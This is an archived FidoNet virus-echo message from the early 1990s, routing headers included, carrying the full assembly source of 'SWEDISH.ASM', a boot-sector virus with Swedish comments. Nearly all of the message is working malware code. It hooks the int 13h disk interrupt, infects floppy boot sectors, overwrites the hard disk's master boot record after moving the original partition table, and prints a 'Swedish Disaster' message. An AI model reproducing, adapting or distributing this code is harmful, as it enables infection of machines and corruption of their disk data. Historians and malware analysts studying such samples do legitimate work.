; PVT.VIRII (2:465/65.4) PVT.VIRII ; Msg : 11 of 54 ; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 ; To : - *.* - Fri 11 Nov 94 08:10 ; Subj : SWEDISH.ASM ; ;.RealName: Max Ivanov ; ;* Kicked-up by MeteO (2:5030/136) ;* Area : VIRUS (Int: p p) ;* From : Daniel Hendry, 2:283/718 (06 Nov 94 16:28) ;* To : Brad Frazee ;* Subj : SWEDISH.ASM ; ;@RFC-Path: ;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 ;18.n283!not-for-mail ;@RFC-Return-Receipt-To: Daniel.Hendry@f718.n283.z2.fidonet.org ;; ; Lgger gamla bootsectorn p sida 1, spr 0, sector 3. ; sida 0, spr 0, sector 7 p HD. Code Segment Assume cs:Code Org 0000h Main Proc Far db 0EAh,05h,00h,0C0h,07h jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h ; Variabler Old13h dd 0 ; Gamla vectorn till diskfunktionerna. TmpVec dd 0 ; Temporr vec. vid ndring av int 13. BootPek dw 0003h,0100h ; Slut p variabler Int13h Proc Near push ds push ax push bx cmp dl,00h ; Drive A jne Exit cmp ah,02h jb Exit cmp ah,04h ja Exit ; Kolla s att func. 2-4 sub ax,ax mov ds,ax mov bx,043Fh ; Motor status byte. test Byte Ptr [bx],01h ; Testa om motorn i A: r p.. jnz Exit ; Nej,hoppa till gamla int 13h call Smitta Exit: pop bx pop ax pop ds jmp [Old13h] Smitta Proc Near push cx push dx push si push di push es push cs pop es push cs pop ds mov si,0004h ; Max antal frsk. Retry: mov ax,0201h ; Ls en sector mov bx,0200h ; Ls hit. mov cx,0001h ; Spr 0 Sector 1 sub dx,dx ; Sida 0 Drive 0 pushf call [Old13h] ; Ls in booten. jnc OK dec si jz Slut ; Hoppa ur om fel. jmp Retry ; Frsk max 4 gnger. OK: mov si,0200h sub di,di cld lodsw cmp ax,[di] jne L2 lodsw cmp ax,[di+2] jne L2 jmp Slut L2: mov ax,0301h ; Skriv en sector. mov bx,0200h mov cx,0003h ; Spr 0 Sector 3 mov dx,0100h ; Sida 1 Drive 0 pushf call [Old13h] ; Flytta boot sectorn. mov ax,0301h sub bx,bx mov cx,0001h sub dx,dx pushf call [Old13h] ; Skriv ner viruset till booten. Slut: pop es pop di pop si pop dx pop cx ret Smitta Endp Int13h Endp Init: sub ax,ax mov ds,ax ; Nollar ds fr att ndra vect. cli mov ss,ax mov sp,7C00h sti ; Stter upp en ny stack. push cs pop es mov di,Offset Old13h mov si,004Ch mov cx,0004h cld rep movsb ; Flytta int 13h vectorn. mov bx,0413h mov ax,[bx] ; Minnesstorleken till ax. dec ax dec ax mov [bx],ax ; Reservera plats fr viruset. mov cl,06h shl ax,cl mov es,ax ; Omvandla till segment addres. mov Word Ptr TmpVec,Offset Int13h mov Word Ptr TmpVec+2,es push es sub ax,ax mov es,ax push cs pop ds mov si,Offset TmpVec mov di,004Ch mov cx,0004h rep movsb pop es sub si,si mov di,si mov cx,0200h ; Hela viruset + lite till. rep movsb mov ax,Offset Here push es push ax ret ; Hoppa till viruset. Here: sub ax,ax int 13h ; terstll driven sub ax,ax mov es,ax mov ax,0201h ; Ls en sector funk. mov bx,7C00h ; Hit laddas booten normalt. mov cx,BootPek mov dx,BootPek+2 int 13h push cs pop es mov ax,0201h mov bx,0200h mov cx,0001h mov dx,0080h int 13h ; Ls in partions tabellen. jc Over push cs pop ds mov si,0200h sub di,di lodsw cmp ax,[di] ; Kolla om den r smittad. jne HdInf lodsw cmp ax,[di+2] jne HdInf Over: mov BootPek,0003h mov BootPek+2,0100h sub bx,bx push bx mov bx,7C00h push bx ret ; Kr den gamla booten. HdInf: mov BootPek,0007h mov BootPek+2,0080h mov ax,0301h mov bx,0200h mov cx,0007h mov dx,0080h int 13h ; Flytta orgin. part.tabellen. jc Over push cs pop ds push cs pop es mov si,03BEh mov di,01BEh mov cx,0042h cld rep movsb ; Kopiera part. data till viruset. mov ax,0301h sub bx,bx mov cx,0001h mov dx,0080h int 13h ; Skriv viruset till part. tabellen. sub ax,ax mov es,ax ; Kolla om msg:et ska skrivas ut. test Byte Ptr es:[046Ch],07h jnz HdInf1 mov si,Offset Txt ; Detta utfrs bara om man bootar frn cld ; diskett. Foo1: lodsb cmp al,00h je HdInf1 mov ah,0Eh sub bx,bx int 10h jmp Foo1 HdInf1: jmp Over Slutet Label Byte ; Anvnds fr att veta var slutet r. Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h Main Endp Code Ends End ;-+- GEcho 1.00 ; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718) ;============================================================================= ; ;Yoo-hooo-oo, -! ; ; ; The MeeO ; ;/3 Enable 32-bit processing ; ;--- Aidstest Null: /Kill ; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136)